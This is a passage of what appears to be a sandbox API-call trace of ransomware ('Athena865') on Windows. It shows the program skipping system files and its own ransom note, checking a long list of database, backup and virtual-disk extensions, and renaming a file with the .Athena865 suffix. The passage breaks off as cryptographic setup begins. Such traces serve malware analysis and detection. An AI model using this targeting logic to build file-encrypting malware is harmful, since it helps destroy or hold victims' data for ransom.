returned 1 [0121.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.260] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.261] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.262] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.262] CloseHandle (hObject=0x154) returned 1 [0121.262] CloseHandle (hObject=0x17c) returned 1 [0121.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.263] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0121.263] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.263] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.263] lstrcmpiW (lpString1="AG00171_.GIF", lpString2=".") returned 1 [0121.263] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="..") returned 1 [0121.263] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="windows") returned -1 [0121.263] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="bootmgr") returned -1 [0121.263] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="temp") returned -1 [0121.263] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="pagefile.sys") returned -1 [0121.263] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="boot") returned -1 [0121.263] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="ids.txt") returned -1 [0121.263] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="ntuser.dat") returned -1 [0121.263] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="perflogs") returned -1 [0121.263] lstrcmpiW (lpString1="AG00171_.GIF", lpString2="MSBuild") returned -1 [0121.263] lstrlenW (lpString="AG00171_.GIF") returned 12 [0121.263] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AG00171_.GIF" | out: lpString1="AG00171_.GIF") returned="AG00171_.GIF" [0121.263] lstrlenW (lpString="AG00171_.GIF") returned 12 [0121.263] lstrlenW (lpString="Athena865") returned 9 [0121.263] lstrcmpiW (lpString1="0171_.GIF", lpString2="Athena865") returned -1 [0121.263] lstrlenW (lpString=".dll") returned 4 [0121.263] lstrcmpiW (lpString1="AG00171_.GIF", lpString2=".dll") returned 1 [0121.263] lstrlenW (lpString=".lnk") returned 4 [0121.264] lstrcmpiW (lpString1="AG00171_.GIF", lpString2=".lnk") returned 1 [0121.264] lstrlenW (lpString=".ini") returned 4 [0121.264] lstrcmpiW (lpString1="AG00171_.GIF", lpString2=".ini") returned 1 [0121.264] lstrlenW (lpString=".sys") returned 4 [0121.264] lstrcmpiW (lpString1="AG00171_.GIF", lpString2=".sys") returned 1 [0121.264] lstrlenW (lpString="AG00171_.GIF") returned 12 [0121.264] lstrlenW (lpString="bak") returned 3 [0121.264] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0121.264] lstrlenW (lpString="ba_") returned 3 [0121.264] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0121.264] lstrlenW (lpString="dbb") returned 3 [0121.264] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0121.264] lstrlenW (lpString="vmdk") returned 4 [0121.264] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0121.264] lstrlenW (lpString="rar") returned 3 [0121.264] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0121.264] lstrlenW (lpString="zip") returned 3 [0121.264] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0121.264] lstrlenW (lpString="tgz") returned 3 [0121.264] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0121.264] lstrlenW (lpString="vbox") returned 4 [0121.264] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0121.264] lstrlenW (lpString="vdi") returned 3 [0121.264] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0121.264] lstrlenW (lpString="vhd") returned 3 [0121.264] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0121.264] lstrlenW (lpString="vhdx") returned 4 [0121.264] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0121.264] lstrlenW (lpString="avhd") returned 4 [0121.265] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0121.265] lstrlenW (lpString="db") returned 2 [0121.265] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0121.265] lstrlenW (lpString="db2") returned 3 [0121.265] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0121.265] lstrlenW (lpString="db3") returned 3 [0121.265] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0121.265] lstrlenW (lpString="dbf") returned 3 [0121.265] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0121.265] lstrlenW (lpString="mdf") returned 3 [0121.265] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0121.265] lstrlenW (lpString="mdb") returned 3 [0121.265] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0121.265] lstrlenW (lpString="sql") returned 3 [0121.265] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0121.265] lstrlenW (lpString="sqlite") returned 6 [0121.265] lstrcmpiW (lpString1="1_.GIF", lpString2="sqlite") returned -1 [0121.265] lstrlenW (lpString="sqlite3") returned 7 [0121.265] lstrcmpiW (lpString1="71_.GIF", lpString2="sqlite3") returned -1 [0121.265] lstrlenW (lpString="sqlitedb") returned 8 [0121.265] lstrcmpiW (lpString1="171_.GIF", lpString2="sqlitedb") returned -1 [0121.265] lstrlenW (lpString="xml") returned 3 [0121.265] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0121.265] lstrlenW (lpString="$er") returned 3 [0121.265] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0121.265] lstrlenW (lpString="4dd") returned 3 [0121.265] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0121.265] lstrlenW (lpString="4dl") returned 3 [0121.265] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0121.266] lstrlenW (lpString="^^^") returned 3 [0121.266] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0121.266] lstrlenW (lpString="abs") returned 3 [0121.266] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0121.266] lstrlenW (lpString="abx") returned 3 [0121.266] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0121.266] lstrlenW (lpString="accdb") returned 5 [0121.266] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0121.266] lstrlenW (lpString="accdc") returned 5 [0121.266] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0121.266] lstrlenW (lpString="accde") returned 5 [0121.266] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0121.266] lstrlenW (lpString="accdr") returned 5 [0121.266] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0121.266] lstrlenW (lpString="accdt") returned 5 [0121.266] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0121.266] lstrlenW (lpString="accdw") returned 5 [0121.266] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0121.266] lstrlenW (lpString="accft") returned 5 [0121.266] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0121.266] lstrlenW (lpString="adb") returned 3 [0121.266] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.266] lstrlenW (lpString="adb") returned 3 [0121.266] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0121.266] lstrlenW (lpString="ade") returned 3 [0121.266] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1 [0121.266] lstrlenW (lpString="adf") returned 3 [0121.266] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1 [0121.267] lstrlenW (lpString="adn") returned 3 [0121.267] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1 [0121.267] lstrlenW (lpString="adp") returned 3 [0121.267] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1 [0121.267] lstrlenW (lpString="alf") returned 3 [0121.267] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1 [0121.267] lstrlenW (lpString="ask") returned 3 [0121.267] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1 [0121.267] lstrlenW (lpString="btr") returned 3 [0121.267] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1 [0121.267] lstrlenW (lpString="cat") returned 3 [0121.267] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1 [0121.267] lstrlenW (lpString="cdb") returned 3 [0121.267] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1 [0121.267] lstrlenW (lpString="ckp") returned 3 [0121.267] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1 [0121.267] lstrlenW (lpString="cma") returned 3 [0121.267] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0121.267] lstrlenW (lpString="cpd") returned 3 [0121.267] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0121.267] lstrlenW (lpString="dacpac") returned 6 [0121.267] lstrcmpiW (lpString1="1_.GIF", lpString2="dacpac") returned -1 [0121.267] lstrlenW (lpString="dad") returned 3 [0121.267] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0121.267] lstrlenW (lpString="dadiagrams") returned 10 [0121.267] lstrcmpiW (lpString1="00171_.GIF", lpString2="dadiagrams") returned -1 [0121.267] lstrlenW (lpString="daschema") returned 8 [0121.268] lstrcmpiW (lpString1="171_.GIF", lpString2="daschema") returned -1 [0121.268] lstrlenW (lpString="db-journal") returned 10 [0121.268] lstrcmpiW (lpString1="00171_.GIF", lpString2="db-journal") returned -1 [0121.268] lstrlenW (lpString="db-shm") returned 6 [0121.268] lstrcmpiW (lpString1="1_.GIF", lpString2="db-shm") returned -1 [0121.268] lstrlenW (lpString="db-wal") returned 6 [0121.268] lstrcmpiW (lpString1="1_.GIF", lpString2="db-wal") returned -1 [0121.268] lstrlenW (lpString="dbc") returned 3 [0121.268] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0121.268] lstrlenW (lpString="dbs") returned 3 [0121.268] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0121.268] lstrlenW (lpString="dbt") returned 3 [0121.268] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0121.268] lstrlenW (lpString="dbv") returned 3 [0121.268] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0121.268] lstrlenW (lpString="dbx") returned 3 [0121.268] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0121.268] lstrlenW (lpString="dcb") returned 3 [0121.268] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0121.268] lstrlenW (lpString="dct") returned 3 [0121.268] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0121.268] lstrlenW (lpString="dcx") returned 3 [0121.268] lstrcmpiW (lpString1="GIF", lpString2="dcx") returned 1 [0121.268] lstrlenW (lpString="ddl") returned 3 [0121.268] lstrcmpiW (lpString1="GIF", lpString2="ddl") returned 1 [0121.268] lstrlenW (lpString="dlis") returned 4 [0121.268] lstrcmpiW (lpString1=".GIF", lpString2="dlis") returned -1 [0121.268] lstrlenW (lpString="dp1") returned 3 [0121.268] lstrcmpiW (lpString1="GIF", lpString2="dp1") returned 1 [0121.268] lstrlenW (lpString="dqy") returned 3 [0121.269] lstrcmpiW (lpString1="GIF", lpString2="dqy") returned 1 [0121.269] lstrlenW (lpString="dsk") returned 3 [0121.269] lstrcmpiW (lpString1="GIF", lpString2="dsk") returned 1 [0121.269] lstrlenW (lpString="dsn") returned 3 [0121.269] lstrcmpiW (lpString1="GIF", lpString2="dsn") returned 1 [0121.269] lstrlenW (lpString="dtsx") returned 4 [0121.269] lstrcmpiW (lpString1=".GIF", lpString2="dtsx") returned -1 [0121.269] lstrlenW (lpString="dxl") returned 3 [0121.269] lstrcmpiW (lpString1="GIF", lpString2="dxl") returned 1 [0121.269] lstrlenW (lpString="eco") returned 3 [0121.269] lstrcmpiW (lpString1="GIF", lpString2="eco") returned 1 [0121.269] lstrlenW (lpString="ecx") returned 3 [0121.269] lstrcmpiW (lpString1="GIF", lpString2="ecx") returned 1 [0121.269] lstrlenW (lpString="edb") returned 3 [0121.269] lstrcmpiW (lpString1="GIF", lpString2="edb") returned 1 [0121.269] lstrlenW (lpString="epim") returned 4 [0121.269] lstrcmpiW (lpString1=".GIF", lpString2="epim") returned -1 [0121.269] lstrlenW (lpString="fcd") returned 3 [0121.269] lstrcmpiW (lpString1="GIF", lpString2="fcd") returned 1 [0121.269] lstrlenW (lpString="fdb") returned 3 [0121.269] lstrcmpiW (lpString1="GIF", lpString2="fdb") returned 1 [0121.269] lstrlenW (lpString="fic") returned 3 [0121.269] lstrcmpiW (lpString1="GIF", lpString2="fic") returned 1 [0121.269] lstrlenW (lpString="flexolibrary") returned 12 [0121.269] lstrlenW (lpString="fm5") returned 3 [0121.269] lstrcmpiW (lpString1="GIF", lpString2="fm5") returned 1 [0121.269] lstrlenW (lpString="fmp") returned 3 [0121.269] lstrcmpiW (lpString1="GIF", lpString2="fmp") returned 1 [0121.269] lstrlenW (lpString="fmp12") returned 5 [0121.270] lstrcmpiW (lpString1="_.GIF", lpString2="fmp12") returned -1 [0121.270] lstrlenW (lpString="fmpsl") returned 5 [0121.270] lstrcmpiW (lpString1="_.GIF", lpString2="fmpsl") returned -1 [0121.270] lstrlenW (lpString="fol") returned 3 [0121.270] lstrcmpiW (lpString1="GIF", lpString2="fol") returned 1 [0121.270] lstrlenW (lpString="fp3") returned 3 [0121.270] lstrcmpiW (lpString1="GIF", lpString2="fp3") returned 1 [0121.270] lstrlenW (lpString="fp4") returned 3 [0121.270] lstrcmpiW (lpString1="GIF", lpString2="fp4") returned 1 [0121.270] lstrlenW (lpString="fp5") returned 3 [0121.270] lstrcmpiW (lpString1="GIF", lpString2="fp5") returned 1 [0121.270] lstrlenW (lpString="fp7") returned 3 [0121.270] lstrcmpiW (lpString1="GIF", lpString2="fp7") returned 1 [0121.270] lstrlenW (lpString="fpt") returned 3 [0121.270] lstrcmpiW (lpString1="GIF", lpString2="fpt") returned 1 [0121.270] lstrlenW (lpString="frm") returned 3 [0121.270] lstrcmpiW (lpString1="GIF", lpString2="frm") returned 1 [0121.270] lstrlenW (lpString="gdb") returned 3 [0121.270] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0121.270] lstrlenW (lpString="gdb") returned 3 [0121.270] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0121.270] lstrlenW (lpString="grdb") returned 4 [0121.270] lstrcmpiW (lpString1=".GIF", lpString2="grdb") returned -1 [0121.270] lstrlenW (lpString="gwi") returned 3 [0121.270] lstrcmpiW (lpString1="GIF", lpString2="gwi") returned -1 [0121.270] lstrlenW (lpString="hdb") returned 3 [0121.270] lstrcmpiW (lpString1="GIF", lpString2="hdb") returned -1 [0121.270] lstrlenW (lpString="his") returned 3 [0121.270] lstrcmpiW (lpString1="GIF", lpString2="his") returned -1 [0121.271] lstrlenW (lpString="ib") returned 2 [0121.271] lstrcmpiW (lpString1="IF", lpString2="ib") returned 1 [0121.271] lstrlenW (lpString="idb") returned 3 [0121.271] lstrcmpiW (lpString1="GIF", lpString2="idb") returned -1 [0121.271] lstrlenW (lpString="ihx") returned 3 [0121.271] lstrcmpiW (lpString1="GIF", lpString2="ihx") returned -1 [0121.271] lstrlenW (lpString="itdb") returned 4 [0121.271] lstrcmpiW (lpString1=".GIF", lpString2="itdb") returned -1 [0121.271] lstrlenW (lpString="itw") returned 3 [0121.271] lstrcmpiW (lpString1="GIF", lpString2="itw") returned -1 [0121.271] lstrlenW (lpString="jet") returned 3 [0121.271] lstrcmpiW (lpString1="GIF", lpString2="jet") returned -1 [0121.271] lstrlenW (lpString="jtx") returned 3 [0121.271] lstrcmpiW (lpString1="GIF", lpString2="jtx") returned -1 [0121.271] lstrlenW (lpString="kdb") returned 3 [0121.271] lstrcmpiW (lpString1="GIF", lpString2="kdb") returned -1 [0121.271] lstrlenW (lpString="kexi") returned 4 [0121.271] lstrcmpiW (lpString1=".GIF", lpString2="kexi") returned -1 [0121.271] lstrlenW (lpString="kexic") returned 5 [0121.271] lstrcmpiW (lpString1="_.GIF", lpString2="kexic") returned -1 [0121.271] lstrlenW (lpString="kexis") returned 5 [0121.271] lstrcmpiW (lpString1="_.GIF", lpString2="kexis") returned -1 [0121.271] lstrlenW (lpString="lgc") returned 3 [0121.271] lstrcmpiW (lpString1="GIF", lpString2="lgc") returned -1 [0121.271] lstrlenW (lpString="lwx") returned 3 [0121.271] lstrcmpiW (lpString1="GIF", lpString2="lwx") returned -1 [0121.272] lstrlenW (lpString="maf") returned 3 [0121.272] lstrcmpiW (lpString1="GIF", lpString2="maf") returned -1 [0121.272] lstrlenW (lpString="maq") returned 3 [0121.272] lstrcmpiW (lpString1="GIF", lpString2="maq") returned -1 [0121.272] lstrlenW (lpString="mar") returned 3 [0121.272] lstrcmpiW (lpString1="GIF", lpString2="mar") returned -1 [0121.272] lstrlenW (lpString="marshal") returned 7 [0121.272] lstrcmpiW (lpString1="71_.GIF", lpString2="marshal") returned -1 [0121.272] lstrlenW (lpString="mas") returned 3 [0121.272] lstrcmpiW (lpString1="GIF", lpString2="mas") returned -1 [0121.272] lstrlenW (lpString="mav") returned 3 [0121.272] lstrcmpiW (lpString1="GIF", lpString2="mav") returned -1 [0121.272] lstrlenW (lpString="maw") returned 3 [0121.272] lstrcmpiW (lpString1="GIF", lpString2="maw") returned -1 [0121.272] lstrlenW (lpString="mdbhtml") returned 7 [0121.272] lstrcmpiW (lpString1="71_.GIF", lpString2="mdbhtml") returned -1 [0121.272] lstrlenW (lpString="mdn") returned 3 [0121.272] lstrcmpiW (lpString1="GIF", lpString2="mdn") returned -1 [0121.272] lstrlenW (lpString="mdt") returned 3 [0121.272] lstrcmpiW (lpString1="GIF", lpString2="mdt") returned -1 [0121.272] lstrlenW (lpString="mfd") returned 3 [0121.272] lstrcmpiW (lpString1="GIF", lpString2="mfd") returned -1 [0121.272] lstrlenW (lpString="mpd") returned 3 [0121.272] lstrcmpiW (lpString1="GIF", lpString2="mpd") returned -1 [0121.272] lstrlenW (lpString="mrg") returned 3 [0121.272] lstrcmpiW (lpString1="GIF", lpString2="mrg") returned -1 [0121.272] lstrlenW (lpString="mud") returned 3 [0121.272] lstrcmpiW (lpString1="GIF", lpString2="mud") returned -1 [0121.273] lstrlenW (lpString="mwb") returned 3 [0121.273] lstrcmpiW (lpString1="GIF", lpString2="mwb") returned -1 [0121.273] lstrlenW (lpString="myd") returned 3 [0121.273] lstrcmpiW (lpString1="GIF", lpString2="myd") returned -1 [0121.273] lstrlenW (lpString="ndf") returned 3 [0121.273] lstrcmpiW (lpString1="GIF", lpString2="ndf") returned -1 [0121.273] lstrlenW (lpString="nnt") returned 3 [0121.273] lstrcmpiW (lpString1="GIF", lpString2="nnt") returned -1 [0121.273] lstrlenW (lpString="nrmlib") returned 6 [0121.273] lstrcmpiW (lpString1="1_.GIF", lpString2="nrmlib") returned -1 [0121.273] lstrlenW (lpString="ns2") returned 3 [0121.273] lstrcmpiW (lpString1="GIF", lpString2="ns2") returned -1 [0121.273] lstrlenW (lpString="ns3") returned 3 [0121.273] lstrcmpiW (lpString1="GIF", lpString2="ns3") returned -1 [0121.273] lstrlenW (lpString="ns4") returned 3 [0121.273] lstrcmpiW (lpString1="GIF", lpString2="ns4") returned -1 [0121.273] lstrlenW (lpString="nsf") returned 3 [0121.273] lstrcmpiW (lpString1="GIF", lpString2="nsf") returned -1 [0121.273] lstrlenW (lpString="nv") returned 2 [0121.273] lstrcmpiW (lpString1="IF", lpString2="nv") returned -1 [0121.273] lstrlenW (lpString="nv2") returned 3 [0121.273] lstrcmpiW (lpString1="GIF", lpString2="nv2") returned -1 [0121.273] lstrlenW (lpString="nwdb") returned 4 [0121.273] lstrcmpiW (lpString1=".GIF", lpString2="nwdb") returned -1 [0121.273] lstrlenW (lpString="nyf") returned 3 [0121.273] lstrcmpiW (lpString1="GIF", lpString2="nyf") returned -1 [0121.273] lstrlenW (lpString="odb") returned 3 [0121.273] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0121.273] lstrlenW (lpString="odb") returned 3 [0121.273] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0121.274] lstrlenW (lpString="oqy") returned 3 [0121.274] lstrcmpiW (lpString1="GIF", lpString2="oqy") returned -1 [0121.274] lstrlenW (lpString="ora") returned 3 [0121.274] lstrcmpiW (lpString1="GIF", lpString2="ora") returned -1 [0121.274] lstrlenW (lpString="orx") returned 3 [0121.274] lstrcmpiW (lpString1="GIF", lpString2="orx") returned -1 [0121.274] lstrlenW (lpString="owc") returned 3 [0121.274] lstrcmpiW (lpString1="GIF", lpString2="owc") returned -1 [0121.274] lstrlenW (lpString="p96") returned 3 [0121.274] lstrcmpiW (lpString1="GIF", lpString2="p96") returned -1 [0121.274] lstrlenW (lpString="p97") returned 3 [0121.274] lstrcmpiW (lpString1="GIF", lpString2="p97") returned -1 [0121.274] lstrlenW (lpString="pan") returned 3 [0121.274] lstrcmpiW (lpString1="GIF", lpString2="pan") returned -1 [0121.274] lstrlenW (lpString="pdb") returned 3 [0121.274] lstrcmpiW (lpString1="GIF", lpString2="pdb") returned -1 [0121.274] lstrlenW (lpString="pdm") returned 3 [0121.274] lstrcmpiW (lpString1="GIF", lpString2="pdm") returned -1 [0121.274] lstrlenW (lpString="pnz") returned 3 [0121.274] lstrcmpiW (lpString1="GIF", lpString2="pnz") returned -1 [0121.274] lstrlenW (lpString="qry") returned 3 [0121.274] lstrcmpiW (lpString1="GIF", lpString2="qry") returned -1 [0121.274] lstrlenW (lpString="qvd") returned 3 [0121.274] lstrcmpiW (lpString1="GIF", lpString2="qvd") returned -1 [0121.274] lstrlenW (lpString="rbf") returned 3 [0121.274] lstrcmpiW (lpString1="GIF", lpString2="rbf") returned -1 [0121.274] lstrlenW (lpString="rctd") returned 4 [0121.274] lstrcmpiW (lpString1=".GIF", lpString2="rctd") returned -1 [0121.274] lstrlenW (lpString="rod") returned 3 [0121.275] lstrcmpiW (lpString1="GIF", lpString2="rod") returned -1 [0121.275] lstrlenW (lpString="rodx") returned 4 [0121.275] lstrcmpiW (lpString1=".GIF", lpString2="rodx") returned -1 [0121.275] lstrlenW (lpString="rpd") returned 3 [0121.275] lstrcmpiW (lpString1="GIF", lpString2="rpd") returned -1 [0121.275] lstrlenW (lpString="rsd") returned 3 [0121.275] lstrcmpiW (lpString1="GIF", lpString2="rsd") returned -1 [0121.275] lstrlenW (lpString="sas7bdat") returned 8 [0121.275] lstrcmpiW (lpString1="171_.GIF", lpString2="sas7bdat") returned -1 [0121.275] lstrlenW (lpString="sbf") returned 3 [0121.275] lstrcmpiW (lpString1="GIF", lpString2="sbf") returned -1 [0121.275] lstrlenW (lpString="scx") returned 3 [0121.275] lstrcmpiW (lpString1="GIF", lpString2="scx") returned -1 [0121.275] lstrlenW (lpString="sdb") returned 3 [0121.275] lstrcmpiW (lpString1="GIF", lpString2="sdb") returned -1 [0121.275] lstrlenW (lpString="sdc") returned 3 [0121.275] lstrcmpiW (lpString1="GIF", lpString2="sdc") returned -1 [0121.275] lstrlenW (lpString="sdf") returned 3 [0121.275] lstrcmpiW (lpString1="GIF", lpString2="sdf") returned -1 [0121.275] lstrlenW (lpString="sis") returned 3 [0121.275] lstrcmpiW (lpString1="GIF", lpString2="sis") returned -1 [0121.275] lstrlenW (lpString="spq") returned 3 [0121.275] lstrcmpiW (lpString1="GIF", lpString2="spq") returned -1 [0121.275] lstrlenW (lpString="te") returned 2 [0121.275] lstrcmpiW (lpString1="IF", lpString2="te") returned -1 [0121.275] lstrlenW (lpString="teacher") returned 7 [0121.275] lstrcmpiW (lpString1="71_.GIF", lpString2="teacher") returned -1 [0121.275] lstrlenW (lpString="tmd") returned 3 [0121.275] lstrcmpiW (lpString1="GIF", lpString2="tmd") returned -1 [0121.276] lstrlenW (lpString="tps") returned 3 [0121.276] lstrcmpiW (lpString1="GIF", lpString2="tps") returned -1 [0121.276] lstrlenW (lpString="trc") returned 3 [0121.276] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0121.276] lstrlenW (lpString="trc") returned 3 [0121.276] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0121.276] lstrlenW (lpString="trm") returned 3 [0121.276] lstrcmpiW (lpString1="GIF", lpString2="trm") returned -1 [0121.276] lstrlenW (lpString="udb") returned 3 [0121.276] lstrcmpiW (lpString1="GIF", lpString2="udb") returned -1 [0121.276] lstrlenW (lpString="udl") returned 3 [0121.276] lstrcmpiW (lpString1="GIF", lpString2="udl") returned -1 [0121.276] lstrlenW (lpString="usr") returned 3 [0121.276] lstrcmpiW (lpString1="GIF", lpString2="usr") returned -1 [0121.276] lstrlenW (lpString="v12") returned 3 [0121.276] lstrcmpiW (lpString1="GIF", lpString2="v12") returned -1 [0121.276] lstrlenW (lpString="vis") returned 3 [0121.276] lstrcmpiW (lpString1="GIF", lpString2="vis") returned -1 [0121.276] lstrlenW (lpString="vpd") returned 3 [0121.276] lstrcmpiW (lpString1="GIF", lpString2="vpd") returned -1 [0121.276] lstrlenW (lpString="vvv") returned 3 [0121.276] lstrcmpiW (lpString1="GIF", lpString2="vvv") returned -1 [0121.276] lstrlenW (lpString="wdb") returned 3 [0121.276] lstrcmpiW (lpString1="GIF", lpString2="wdb") returned -1 [0121.276] lstrlenW (lpString="wmdb") returned 4 [0121.276] lstrcmpiW (lpString1=".GIF", lpString2="wmdb") returned -1 [0121.276] lstrlenW (lpString="wrk") returned 3 [0121.277] lstrcmpiW (lpString1="GIF", lpString2="wrk") returned -1 [0121.277] lstrlenW (lpString="xdb") returned 3 [0121.277] lstrcmpiW (lpString1="GIF", lpString2="xdb") returned -1 [0121.277] lstrlenW (lpString="xld") returned 3 [0121.277] lstrcmpiW (lpString1="GIF", lpString2="xld") returned -1 [0121.277] lstrlenW (lpString="xmlff") returned 5 [0121.277] lstrcmpiW (lpString1="_.GIF", lpString2="xmlff") returned -1 [0121.277] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.Athena865") returned 73 [0121.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.athena865"), dwFlags=0x1) returned 1 [0121.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.278] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5016) returned 1 [0121.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.278] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.279] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, 